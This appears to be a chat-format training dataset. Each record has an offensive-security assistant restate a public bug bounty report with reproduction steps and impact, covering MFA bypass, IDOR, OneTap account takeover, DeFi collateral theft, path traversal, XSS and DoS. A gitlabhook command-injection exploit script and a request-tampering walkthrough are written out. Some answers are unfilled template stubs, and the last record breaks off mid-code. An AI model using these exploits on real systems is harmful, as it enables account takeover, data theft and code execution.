[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: “email” MFA mode allows bypassing MFA from victim’s device when the device trust is not expired

[Assistant]
### Passos para Reproduzir
Note:
- Use burp suite or another tool to intercept the requests

  1. Turn on and configure your MFA
  2. Login with your email and password
  3. The page of MFA is going to appear
  4. Enter any random number
  5. when you press the button "sign in securely" intercept the request POST `auth.grammarly.com/v3/api/login` and in the POST message change the fields:
- `"mode":"sms"` by `"mode":"email"`
-  `"secureLogin":true` by `"secureLogin":false`
 6. send the modification and check, you are in your account! It was not necessary to enter the phone code.

### Impacto
The attacker can bypass the experimental MFA, If the attacker has the email and password, the attacker can login in the account without the need of the phone code.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Earn free DAI interest (inflation) through instant CDP+DSR in one tx

[Assistant]
### Resumo da Vulnerabilidade
The MCD contracts contain different mechanisms for accumulating rates in different
contracts, namely `pot` and `jug` corresponding to the cost of a loan and interest
earned on savings. Because these rates are not synchronised, and depend on the
call to the `drip` method to be calculated, it's possible to game the system
to obtain returns on DAI "savings" that exist only within a transaction.
This means all holders of ETH/gems can costlessly and risklessly earn interest
from the `pot` contract without ever holding DAI for any amount of time.
This leads to inflation of the DAI supply and transfer of value to attackers.

### Impacto
Analysis

Please refer to the "Impact Analysis" field below for a detailed analysis.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Delete direct message history without access the proper conversation_id

[Assistant]
### Passos para Reproduzir
(Add details for how we can reproduce the issue)

  1. Have a conversation (Direct Message) between two users.
  2. Click on the conversation to open the chat window.
  3. The URL will change and it's going to be something like: https://twitter.com/messages/123456-78910
  4. Invert those numbers on the conversation_id and the new URL will be like: https://twitter.com/messages/78910-123456 and press enter to go to this URL.
  5. User will be asked to either Accept or Delete if he want to let an undefined user to message him.  With all the options above as well, like user info. However is an undefined user. The message will be exactly:

Do you want to let  message you? They won’t know you’ve seen their message until you accept.Report conversation

You can see there is a blank space between the words 'let' and 'message'.
  6. If the user clicks on 'Delete' the original history from the original conversation is deleted(attached image: after_Deleting.png) and the feedback gave to the user doesn't mention this.

### Impacto
: [add why this issue matters]
Since we didn't use the proper conversation_id to delete the conversation this action might create an inconsistence on the conversations database.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: IDOR leading to downloading of any attachment

[Assistant]
### Passos para Reproduzir
* On the attacker's device, intercept all the requests using **Burpsuite**.
* Send an attachment from the victim's account to the attacker's account.
* In the **Burpsuite's**  log you'll come across a request something similar to this:

```

GET /attachments/938540538 HTTP/1.1
X-Signal-Agent: OWA
Accept-Encoding: gzip, deflate
X-Client-Version: BCM Android/5.1 Model/generic_Google_Nexus_6 Version/1.26.0 Build/1393 Area/200 Lang/en
Host: ameim.bs2dl.yy.com
Connection: close
User-Agent: okhttp/3.12.0

```

* Over here the ID number `938540538` will be different for each attachment.
* Put this particular request the repeater tab and change the ID value to `359912920` (which was sent to some other person).
* This is what it should look like: {F548523}
* You can even try it out by removing the `Authorization` Header completely and still the attacker will end up getting the attachment.

### Impacto
Getting access to all the attachments uploaded by any user.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Link obfuscation bug

[Assistant]
### Resumo da Vulnerabilidade
Link preview in the left bottom of Brave Browser will show the link where the user will be redirected after clicking it, but after clicking the link, the affected user will be redirected to other website.

### Passos para Reproduzir
1. Open poc.html
2. Hover your mouse to a hyperlink named https://brave.com
3. You will see in the link preview in the bottom of the browser that the user should be redirected.
4. Click the hyperlink and you will be redirected to another domain.

### Impacto
The attacker can trick a user to go to an evil domain.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Lodash "difference" (possibly others) Function Denial of Service Through Unvalidated Input

[Assistant]
### Passos para Reproduzir
> Detailed steps to reproduce with all required references/steps/commands. If there is any exploit code or reference to the package source code this is the place where it should be put.

Benign example:
```
const _ = require('lodash')

user_supplied_array = [1, 2, 3]
values_to_compare_to = {'length': 5} // An object with the "length" property defined to an integer will be accepted as an array by the _.difference function

_.difference(values_to_compare_to, user_supplied_array) // This will output a new array of length 5 where each value is "undefined"
```

Because Lodash is essentially creating a new array of the length that we specify in "values_to_compare_to", we can provide a large value that will cause the Node.js process to crash before it can successfully create the array.

Will crash Node.js example:
```
const _ = require('lodash')

user_supplied_array = [1, 2, 3]
values_to_compare_to = {'length': 99999999999} // This could be any huge value

_.difference(values_to_compare_to, user_supplied_array) // The Node.js process will crash, saying that the JavaScript heap ran out of memory
```

When the Node.js process crashes, a stack trace similar to the following is output:
```
[5515:0x55aa82652700]    41959 ms: Mark-sweep 580.0 (585.7) -> 580.0 (585.7) MB, 201.8 / 0.0 ms  allocation failure GC in old space requested
[5515:0x55aa82652700]    42169 ms: Mark-sweep 580.0 (585.7) -> 579.9 (584.2) MB, 209.7 / 0.0 ms  last resort GC in old space requested
[5515:0x55aa82652700]    42372 ms: Mark-sweep 579.9 (584.2) -> 579.9 (584.2) MB, 203.2 / 0.0 ms  last resort GC in old space requested

<--- JS stacktrace --->

==== JS stack trace =========================================

Security context: 0x2eaefaca5729 <JSObject>
    1: baseDifference [/root/temp/tmp/node_modules/lodash/lodash.js:~2764] [pc=0x11aea9f0d272](this=0x28b6ba70c0f9 <JSGlobal Object>,array=0x3dd3a43ca4c9 <Object map = 0x1294fe65a571>,values=0x3dd3a43ca4a9 <JSArray[2]>,iteratee=0x3dd3a43822d1 <undefined>,comparator=0x3dd3a43822d1 <undefined>)
    2: arguments adaptor frame: 2->4
    3: /* anonymous */ [/root/temp/tmp/node_modules/lodash/lodash.j...

FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory
 1: node::Abort() [node]
 2: 0x55aa808c347e [node]
 3: v8::Utils::ReportOOMFailure(char const*, bool) [node]
 4: v8::internal::V8::FatalProcessOutOfMemory(char const*, bool) [node]
 5: v8::internal::Factory::NewUninitializedFixedArray(int) [node]
 6: 0x55aa80448b1d [node]
 7: v8::internal::Runtime_GrowArrayElements(int, v8::internal::Object**, v8::internal::Isolate*) [node]
 8: 0x11aea9d842fd
Aborted
```

### Impacto
An attacker could cause excessive resource consumption which could slow down the server for other users or they could cause an outright crash of the Node.js process, denying service to all users of the application.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Account takeover via Google OneTap

[Assistant]
### Resumo da Vulnerabilidade
It's possible to take over any priceline.com user's account knowing their email. The only requirement is that the victim's email domain is not registered with Google's Gsuite. The root cause of this issue is that the backend does not verify whether the email provided is a confirmed one.

### Passos para Reproduzir
1. Create Account A (in my case `badca7@wearehackerone.com`) with priceline.com, without any SSO, via the "Create an account" link (aka "register with email").
2. Once the account has been created, add a dummy phone number to the profile. It will serve as a canary to demonstrate we accessed the same data in the next steps.
3. In another browser/session (eg, incognito/private mode) sign up for a trial GSuite account at https://gsuite.google.com/signup/basic/welcome  . This will be Account B.
4. Use any email to register as you won't need to confirm that email.
5. When the wizard comes to the "Does your business have a domain?" confirm and enter `wearehackerone.com` (or any other domain that hosts the victim's email box) as in F552718. You may not use the same domain name at this stage, as I claimed it for the purposes of this PoC however you can do so when my GSuite trial expires. From this comes the requirement that the victim's email domain name must not be registered with Google prior to this attack.
6. Once you saved the domain record with Google, stop there as there's no need to verify the domain.
7. At this stage the OneTap/GoogleYOLO popup will be showing on priceline.com when visited in the same browser session. It took me some time to get it to show however signing in and out of Google Account several times with the newly created GSuite credentials and then refreshing the priceline.com page helped. On another occasion a Gmail account, which I signed in in the same browser window helped too. You may need to play around with these until you see the newly created account to show in the list. F552723
8. Once you have that, just sign in (`badca7@wearehackerone.com` in my case). You can confirm you accessed Account A by seeing the phone number you added in step (2). In the other browser window/session with Account A you can see that now there are two accounts showing in the top right corner and the profile data is blank.
9. Account takeover complete. F552724

# Notes

- IP used for this PoC: ███

### Impacto
Attackers can take over any priceline.com account given they were able to register a specific domain with GSuite.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Steal collateral during `end` process, by earning DSR interest after `flow`.

[Assistant]
### Resumo da Vulnerabilidade
The `end` contract in MCD controls the process of shutting down
the MCD contracts and allowing for users to redeem their DAI for
collateral -- presumably to migrate to a new implementation of DAI.
The process, however, doesn't prevent the continued functioniong
of DAI savings accounts (`pot` contract), which allows for continued
minting of DAI after all other contracts have been "caged", resulting
in theft (possibly involuntary) of collateral.

### Impacto
Please refer to the "Impact Analysis" field for more details.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Leak of Internal IP addresses

[Assistant]
### Resumo da Vulnerabilidade
The leak of Internal IP Addresses.
IP Addresses:-
   10.6.96.4
   10.6.136.194
   10.6.127.182

### Passos para Reproduzir
1. Open request page of (graphql2.trint.com)  with "getUser" Operation name.
        2. Remove "authorization: Bearer" line and error will raise.
        3. You can see ("ip":"::ffff:10.6.127.182) and ("data":{"user":null}) in error.
It is happening only on "getUser" operation name.

### Impacto
The leak of Internal IP Addresses will allow the attacker to get more information about the server.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Use Github pack with Coda employee github account (search code of Coda's private repositories)

[Assistant]
### Resumo da Vulnerabilidade
When you use the [Github formula](https://coda.io/formulas#GitHub::CodeSearch), the information from the Github API is returned by the endpoint https://coda.io/coda.CalcService/InvokeFormula. From what I understand, this endpoint expects a [gRPC](https://grpc.io/) request. In the request is sent: the formula (`Github..CodeSearch`), the version of the Github pack (`3.4.1`), the id of the Github connection  (generated by Coda when connecting your account), the id of the document to which the Github account is linked, and the parameters for the formula.

The issue is that you can take the document id and connection id of any public document and use the formula as you please. Also, it's not required to be authenticated to make a request to the endpoint https://coda.io/coda.CalcService/InvokeFormula. It may be working as designed, so that's why I used a document created by a Coda employee for the proof of concept in case that is considered a N/A report :D

### Passos para Reproduzir
Pass all requests through Burp or similar proxy to make the reproduction easier.
  1. Make sure you are signed in https://coda.io
  1. Go to https://coda.io/t/Git-Cherry-Pick-From-Branch_tTZJuuyHgqa/preview?useBack
  1. If you look at the requests in Burp, you will see a request to https://coda.io/embed/igvicDMruo?viewMode=gallery&disconnected=true that is loaded in an `<iframe>` (it is the document you see when you load the template). "igvicDMruo" is the document id.
  1. Using the document id from the last step, go to https://coda.io/internalAppApi/documents/igvicDMruo/externalConnections
   1. The value that matters from the response is the `id` of the object  with `name` "albertc44". The connection id is `7b167155-731e-4913-9091-729c5bd77ee0`
   1. Go to https://coda.io/newdoc/POC
   1. Click "Create doc"
   1. Click the "Open Packs" button at the top right. It is the puzzle piece icon between the robot and the arrows
   1. Click "+ Add a new Pack"
   1. Click the "Github" card/box
   1. Click the orange "Sign in to install" button
   1. Click "Authorize codaprojectapp"
   1. Click "You and anyone this doc is shared with"
   1. Click "Nobody"
   1. Click the orange "+" button at the top of the document
   1. Go to "Formula", then "Github", and then click "CodeSearch"
   1. In the dialog opened press the key "Tab", enter comma `,`, enter `"secret"`, enter `,`, enter `organization: "kr-project"` and finally press the key "Enter"
   1. In Burp Proxy or similar, find the last request to /coda.CalcService/InvokeFormula and send it to the Repeater or similar to modify
   1. Remove the `Cookie` header
   1. The value between `$` and `2$` is the connection id. Replace this value with the `7b167155-731e-4913-9091-729c5bd77ee0` you got before (don't touch the `2` before the `$` 😅 )
  1. The first ten characters of the last line are the document id. Replace it with the document id you got in the first steps (`igvicDMruo`)
  1. Send the request
  1. The most interesting things in the response are the values of `Fragment`

### Impacto
It's possible to search the code of all the private repositories to which https://github.com/albertc44 has access. Including the ones of the __kr-project__ organization, that is where the Coda repositories are.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Http response is not ended although underlying socket is already destroyed

[Assistant]
### Passos para Reproduzir
1. start node http server (server.js)
  2. connect with example client (client.js)
  3. http request will remain active although underlying socket is already destroyed until scheduled timeout kicks in and emits error which triggers attached error handler

### Impacto
:
Attack can possibly lead to open handles exhausting or in case of request proxying to eg. Apache httpd DOS attack.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: `indexFile` option passed as an argument to node-server can lead to arbitrary file read

[Assistant]
### Passos para Reproduzir
- install `node-static` with `npm i node-static` command
- in the folder with `./node_modules`, run following command (on Linux or macOS):

```
$ ./node_modules/node-static/bin/cli.js --indexFile ../../../../../../etc/passwd
```

- ensure you put enough `../` sequences to reach root folder (`/`) on your machine, depending on how deep your `node_modules` folder is located
- with browser of your choice, navigate to `http://127.0.0.1:8080`. Browser should start downloading `/etc/passwd` file.

### Impacto
Arbitrary File Read


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Hostname spoofing

[Assistant]
### Passos para Reproduzir
`url.parse('http://evil.c℀.victim.test/?')` returns `evil.ca/c.victim.test` as hostname, so this hostname matches `*.victim.test` but will access `evil.ca`.

```
Welcome to Node.js v12.9.0.
Type ".help" for more information.
> url = require('url')
{
  Url: [Function: Url],
  parse: [Function: urlParse],
  resolve: [Function: urlResolve],
  resolveObject: [Function: urlResolveObject],
  format: [Function: urlFormat],
  URL: [Function: URL],
  URLSearchParams: [Function: URLSearchParams],
  domainToASCII: [Function: domainToASCII],
  domainToUnicode: [Function: domainToUnicode],
  pathToFileURL: [Function: pathToFileURL],
  fileURLToPath: [Function: fileURLToPath]
}
> url.parse('http://evil.c℀.victim.test/?')
Url {
  protocol: 'http:',
  slashes: true,
  auth: null,
  host: 'evil.ca/c.victim.test',
  port: null,
  hostname: 'evil.ca/c.victim.test',
  hash: null,
  search: '?',
  query: '',
  pathname: '/',
  path: '/?',
  href: 'http://evil.ca/c.victim.test/?'
}
> url.parse('http://a.com／.b.com/')
Url {
  protocol: 'http:',
  slashes: true,
  auth: null,
  host: 'a.com/.b.com',
  port: null,
  hostname: 'a.com/.b.com',
  hash: null,
  search: null,
  query: null,
  pathname: '/',
  path: '/',
  href: 'http://a.com/.b.com/'
}
```

### Impacto
- Hostname spoofing may cause openredirect, ssrf, etc...


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [crypto-js] Insecure entropy source - Math.random()

[Assistant]
### Passos para Reproduzir
E.g. to confirm that that is predictable given the same initial seed:
```
$ node --random_seed=42 -e "console.log(require('crypto-js').lib.WordArray.random(16))"
{ words: [ -1477405629, 964516052, 1254255372, 1089500106 ],
  sigBytes: 16 }
$ node --random_seed=42 -e "console.log(require('crypto-js').lib.WordArray.random(16))"
{ words: [ -1477405629, 964516052, 1254255372, 1089500106 ],
  sigBytes: 16 }
```

It could in theory be possible to recover the internal XorShift128+ Math.random seed by gathering enough observations.

Even if this method attempts to "mask" `Math.random` somehow perhaps in order to make extracting the seed harder, that could never be enough. For example, `Math.random` seed could be also recovered by observations over some other channel, e.g. if something else presents Math.random results to the user (e.g. not crypto-related).

### Impacto
Predict the values of `require('crypto-js').lib.WordArray.random`, which could be perceived as crypto-secure by users.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Stored XSS in localhost:* via integrated torrent downloader

[Assistant]
### Resumo da Vulnerabilidade
Due to filename of downloading torrent file isn't sanitized, an attacker is able to execute arbitrary JavaScript on localhost:* by abusing crafted torrent file.

### Passos para Reproduzir
1. Open https://exec.ga/browser/brave/xss.torrent in Brave Browser.
 1. Click "Start Torrent" button
 1. Copy link address of "Save File" button.
 1. Paste it to URL bar with only hostname and port (e.g. http://localhost:8080).
 1. Alert will be popped up.

**Note**: Since it can be embedded with iframe (and it's possible to brute force port number), Steps after 2 won't be needed in real attack.

### Impacto
Attacker will be able to store arbitrary JavaScript on localhost:* with service worker, so if victim run any software on same port after attack, any information in the website that on same port can be stolen.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [node-red] Stored XSS within Flow's - "Name" field

[Assistant]
### Passos para Reproduzir
1.
install node-red: sudo npm install -g --unsafe-perm node-red
start node-red: node-red
&
Open http://localhost:1880

2. Now Edit the flow (refer img_1.png)
3. Insert malicious javascript code and click "Done" (refer img_2.png)
4. Click Deploy and changes will take place.
5. Double click on flow and you'll observe a pop-up executing the malicious content (refer img_3.png)

### Impacto
This vulnerability will allow the attacker to steal session cookies, deface web applications, etc.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: XSS and Open Redirect on MoPub Login

[Assistant]
### Passos para Reproduzir
1. Take this URL: https://app.mopub.com/login?next=https://google.com
2. Change "https://google.com" to whatever URL you want to redirect to.
3. Visit the URL and login
4. You will be redirected to that site

### Impacto
: Outlined in Impact section below


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Windows builds with insecure path defaults (CVE-2019-1552)

[Assistant]
### Resumo da Vulnerabilidade
I have confirmed this vulnerability in over a dozen Windows applications. A few public links have been included below. While the OpenSSL project rated this a low, most projects/vendors that I have worked with have rated it a high due to the ability to inject arbitrary code into the calling process from a low privileged user.

### Impacto
This can result in the elevation of privileges for the vulnerable application. Low privileged accounts on Windows allow authenticated low privileged users the ability to create directories under the top level root directory c:\\. A malicious user could create this path and add a custom openssl.cnf file to load a OpenSSL engine library. When this library is loaded, arbitrary code would be executed with the full authority of the calling process. In some cases this is a service running with SYSTEM privileges - the highest authority on Windows systems.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Unrestricted File Upload Leading to Remote Code Execution

[Assistant]
### Passos para Reproduzir
1. Create a repo and set the "overrideLocalStorageUrl" to a folder two levels below the one you want to write files to.

`POST /nexus/service/local/repositories`

2. Upload a file to a directory of your choice by manipulating the "g", "a" and "v" parameters

`POST /nexus/service/local/artifact/maven/content`

### Impacto
The attacker could run arbitrary code on the server as the SYSTEM user.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Steal ALL collateral during liquidation by exploiting lack of validation in `flip.kick`

[Assistant]
### Resumo da Vulnerabilidade
The `flip` contract allows for the MCD system to auction collateral in exchange for DAI.
A lack of validation in the method `flip.kick` allows an attacker to create an auction with a fake
bid value. Since the `end` contract trusts that value, it can be exploited to issue any amount of free
DAI during liquidation. That DAI can then be immediately used to obtain all collateral stored in the
`end` contract.

### Passos para Reproduzir
I've attached to this report a modified version of `end.t.sol` which contains a test (`test_steal_all_collateral_using_flipper`) that reproduces the attack.

Please don't hesitate to contact me if you need help understanding the test or reproducing the issue.

### Impacto
The issue described in this report allows an attacker to steal ALL collateral stored in the MCD system during the liquidation phase -- possibly within a single transaction. This would result in a complete loss of funds for all users.
The cost of performing the attack is almost zero -- just the minimal denomination of each type of gem stolen plus gas.

Given the above I understand the issue has Critical severity, and fully qualifies for the corresponding bounty.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Steal all MKR from `flap` during liquidation by exploiting lack of validation in `flap.kick`

[Assistant]
### Resumo da Vulnerabilidade
The `flap` contract provides the ability to auction DAI for MKR. That's a fundamental functionality of the MCD system, invoked usually from the `vow` contract.
A flaw in the validation of calls to `flap.kick`, however, allows a malicious user to create "fake' auctions that can be later used to steal MKR from `flap` during the liquidation (`end`) phase.

### Passos para Reproduzir
I've attached to this report a modified version of `end.t.sol` which contains a test (the last one, `test_steal_mkr_from_flapper`) that reproduces this attack.

Please don't hesitate to contact me if you have any trouble understanding or reproducing this issue.

### Impacto
This issue allows an attacker to steal arbitrary amounts of MKR deposited for auction.
That impact is particularly troubling, as MKR tokens are used to govern the platform, and anyone maliciously obtaining large quantities of these tokens might use them to further affect other core functionalities, potentially leading to stealing collateral, DAI etc. Also, because the same MKR token might be used for governance of future versions of the contracts, the damage might be much more enduring and harder to mitigate.

Given the above, and the minimal cost for perpetrating the attack, this issue would normally be classified as Critical. The specific policies for this program, though, won't allow for that, since this attack doesn't steal collateral directly. So, I classified the severity as High.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Cross-site scripting via hardcoded front-end watched expression.

[Assistant]
### Passos para Reproduzir
(Add details for how we can reproduce the issue)

  1. add xss class to algo code
  2. set breakpoint in code so debugger will open, start
  3. execute it on collaborator, or obfuscate class and share it.

### Impacto
Execute our own javascript with all the consequences, steal algorithms (because xss happens on quantopian.com).


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: CVE-2019-5482: Heap buffer overflow in TFTP when using small blksize

[Assistant]
### Resumo da Vulnerabilidade
With a TFTP server that does not send OACK, but instead starts anyway with first block with 512 bytes block size, the curl library fails to assume default 512 bytes blocks. Instead it detects EOF and does not return an error code. Consequence is a truncated file that is 512 bytes without any error code.

My understanding is that from the RFC, a TFTP server might ignore blksize request and anyway send the default 512 bytes block size data.

Unless an OACK is received we should assume 512 block size, whether or not a particular blocksize was requested.

This was introduced by security fix of CVE-2019-5436:
257600341 tftp: use the current blksize for recvfrom()

### Passos para Reproduzir
1. Use a TFTP server that does not send OACK in response of a particular blksize request, but instead sends directly the first block, of default size (512B).
  2. Run curl asking for a >512 bytes block size like:
    curl --tftp-blksize 8192 tftp://9.1.9.1/data.bin --output data.bin
  3. echo $? is 0 and file size is 512 bytes

### Impacto
File truncation without 'curl' returning any error code.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: gitlabhook OS Command Injection

[Assistant]
### Passos para Reproduzir
An exploit on python3 was created.

```
#!/usr/bin/python

import requests

target = "http://192.168.126.128:3420"
cmd = r"touch /tmp/poc.txt"
json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd
r = requests.post(target, json)

print "Done."
```

Please follow these steps:
1.   Create a temporary directory on the filesystem. mkdir /tmp/temp cd /tmp/temp
2.   Install the module: npm install gitlabhook
3.    Change directory: cd node_modules/gitlabhook/
4.    Run the application: node gitlabhook-server.js

At step 4, you should see that the server is up and running. It should send a big message to the terminal, and this message should finish with the line:

```
listening for github events on 0.0.0.0:3420
```

This server was set up on Kali Linux machine. This machine has an interface with IP address 192.168.126.128.

I have another machine on Windows, that can reach this Kali Linux machine by the above IP. This Windows machine has python3 installed, and python requests module installed too.

So, edit the exploit and run it.

```
#!/usr/bin/python

import requests

target = "http://192.168.126.128:3420" #put target IP and port here
cmd = r"touch /tmp/poc.txt" #a command to execute
json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd
r = requests.post(target, json)

print ("Done.")
```

The exploit above should create a file /tmp/poc.txt on the victim server.

So, on the Kali machine, run the next command:

```
ls /tmp/poc.txt
```

And ensure that the file was created.

Also it's possible to check this vulnerability without usage of additional windows machine. The above exploit may be run on Kali Linux machine:

exploit.py:

```
#!/bin/python3

import requests

target = "http://127.0.0.1:3420" #put target IP and port here
cmd = r"touch /tmp/poc.txt" #a command to execute
json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd
r = requests.post(target, json)

print ("Done.")
```
run it:

```
chmod 755 exploit.py
pip3 install requests
python3 exploit.py
```

and check the result with the following command:
```
ls /tmp/poc.txt
```

# Wrap up

- I contacted the maintainer to let them know: N
- I opened an issue in the related repository: N

### Impacto
An attacker can achieve Remote Code Execution (RCE) without any conditions.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Administrator access to staging.railto.com

[Assistant]
### Resumo da Vulnerabilidade
Hey team,

While doing some recon for railto sub-domains. i came across a most critical bug which lets me complete access of https://staging.railto.com. i can add anything and removing anythings as i got the ADMIN level privilege.

### Impacto
Admin of the page is simple enough.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: CVE-2019-5481: krb5: double-free in read_data() after realloc() fail

[Assistant]
### Resumo da Vulnerabilidade
In 'lib/security.c', there is a double-free of the reference 'buf->data' on the teardown path if 'Curl_saferealloc()' fails.

Also, since we read 'len' from the 'fd', the sender might be able to remotely trigger a realloc() failure, and then the double-free, by sending the value 0x7fffffff.

Introduced by
0649433da realloc: use Curl_saferealloc to avoid common mistakes

### Passos para Reproduzir
Actual double-free was not reproduced.
The realloc failure with particular 'len' value can be reproduced on my 32bits linux machine with following code:
```C
#include <stdio.h>
